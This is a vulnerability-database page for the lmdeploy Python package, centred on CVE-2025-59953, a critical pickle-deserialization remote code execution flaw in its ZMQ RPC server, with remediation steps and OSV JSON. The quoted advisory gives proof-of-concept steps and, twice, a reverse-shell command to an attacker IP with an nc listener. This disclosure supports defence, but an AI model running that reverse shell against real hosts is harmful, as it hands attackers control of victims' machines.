Vulnerabilities in pkg:pypi/lmdeploy

PACKAGE
Advisory Identifier: GHSA-5h8j-6crg-7rmw
Advisory Summary

CVE-2025-59953 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Lmdeploy libraries in the PyPI ecosystem. The issue involves lmdeploy has remote code execution by pickle deserialization via zmq_rpc.call_and_response() in interlm/lmdeploy. Remediation is available by upgrading affected packages to version 0.10.2.

10 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/lmdeploy

10 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/lmdeploy. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-5h8j-6crg-7rmw CVE-2025-59953 CRITICAL LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy
GHSA-39wr-7q6h-cf68 - HIGH LMDeploy has an SSRF bypass
GHSA-3hmm-rh5q-gwwr CVE-2026-33625 HIGH LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading
GHSA-2vh9-42vm-xmv2 CVE-2025-66455 CRITICAL LMDeploy has Remote Code Execution by Pickle Deserialization via handle_zmq_recv in lmdeploy/lmdeploy/pytorch/disagg/conn/engine_conn.py
GHSA-9xq9-36w5-q796 CVE-2026-46517 HIGH lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
GHSA-m549-qq94-fvhg CVE-2026-46432 HIGH LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization
GHSA-6w67-hwm5-92mq CVE-2026-33626 HIGH LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
GHSA-9pf3-7rrr-x5jh CVE-2025-67729 HIGH lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()
GHSA-7vc5-mjwp-c8fq CVE-2025-3162 MODERATE LMDeploy Improper Input Validation Vulnerability
GHSA-jfvg-qm4p-473x CVE-2025-3163 MODERATE InternLM LMDeploy code injection vulnerability

CVE-2025-59953 at a Glance

CVE Identifier CVE-2025-59953
GHSA Identifier GHSA-5h8j-6crg-7rmw
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Lmdeploy
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-59953

To remediate this vulnerability, upgrade all affected Lmdeploy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lmdeploy fixed: 0.10.2
pip install lmdeploy>=0.10.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show lmdeploy

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-59953, inspect your installed packages using pip:

pip show lmdeploy

Analyze the terminal output to locate any version of Lmdeploy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.10.2), your application is affected.

Note: The pip show lmdeploy command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Lmdeploy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. ### Proof of Concept * Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py. * Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell: <img width="832" height="324" alt="image" src="https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704" /> In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port. * Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine. We also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}. ### Impact Remote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service. ### Mitigation (1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads. (2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster. [LMdeploy.zip](https://github.com/user-attachments/files/22589686/LMdeploy.zip) ### Maintainer assessment This advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with `pickle.loads()`. The vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, `AsyncRPCServer` bound to `tcp://*`, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload. Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes. Additional client-side `pickle.loads()` call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.

CVE-2025-59953 Affected Lmdeploy Versions

1 component(s)
Fixed Versions:
0.10.2
Product / Package Ecosystem Affected Versions Fixed Version
lmdeploy
PyPI
≥ 0.9.1
< 0.10.2
0.10.2

References

Frequently Asked Questions

What is CVE-2025-59953?
CVE-2025-59953 is a security vulnerability in Lmdeploy involving LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy under CWE-502: Deserialization of Untrusted Data.
Which Lmdeploy versions are affected?
Affected versions include releases prior to 0.10.2 across affected packages: lmdeploy.
What version fixes CVE-2025-59953?
Upgrading to 0.10.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lmdeploy affected?
Yes, lmdeploy is affected in releases prior to 0.10.2. Upgrade your dependency to 0.10.2 or later.
What is the CVSS score of CVE-2025-59953?
CVE-2025-59953 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-59953?
CVE-2025-59953 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2025-59953?
Run the dependency tree command: 'pip show lmdeploy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5h8j-6crg-7rmw",
  "modified" : "2026-09-24T14:47:54Z",
  "published" : "2026-09-16T15:34:27Z",
  "aliases" : [ "CVE-2025-59953" ],
  "summary" : "LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy",
  "details" : "### Description\n\nThe LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.\n\n### Proof of Concept\n\n* Step1:\nThe victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.\n\n* Step2:\nThe attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell:\n<img width=\"832\" height=\"324\" alt=\"image\" src=\"https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704\" />\n\nIn this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. \nTwo points require special attention:\n1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP.\n2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.\n\n\n* Step3:\nAttacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine.\n\nWe also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}.\n\n\n### Impact\nRemote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service.\n\n\n\n### Mitigation\n(1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads.\n(2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster.\n[LMdeploy.zip](https://github.com/user-attachments/files/22589686/LMdeploy.zip)\n\n### Maintainer assessment\n\nThis advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with `pickle.loads()`.\n\nThe vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, `AsyncRPCServer` bound to `tcp://*`, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload.\n\nVersion 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes.\n\nAdditional client-side `pickle.loads()` call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lmdeploy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.9.1"
      }, {
        "fixed" : "0.10.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-5h8j-6crg-7rmw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59953"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/InternLM/lmdeploy/commit/d86046a0e6b02ecaaf7cdb74346d0477130221c2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/InternLM/lmdeploy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/InternLM/lmdeploy/releases/tag/v0.10.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-16T15:34:27Z",
    "nvd_published_at" : "2026-09-16T16:17:03Z"
  }
}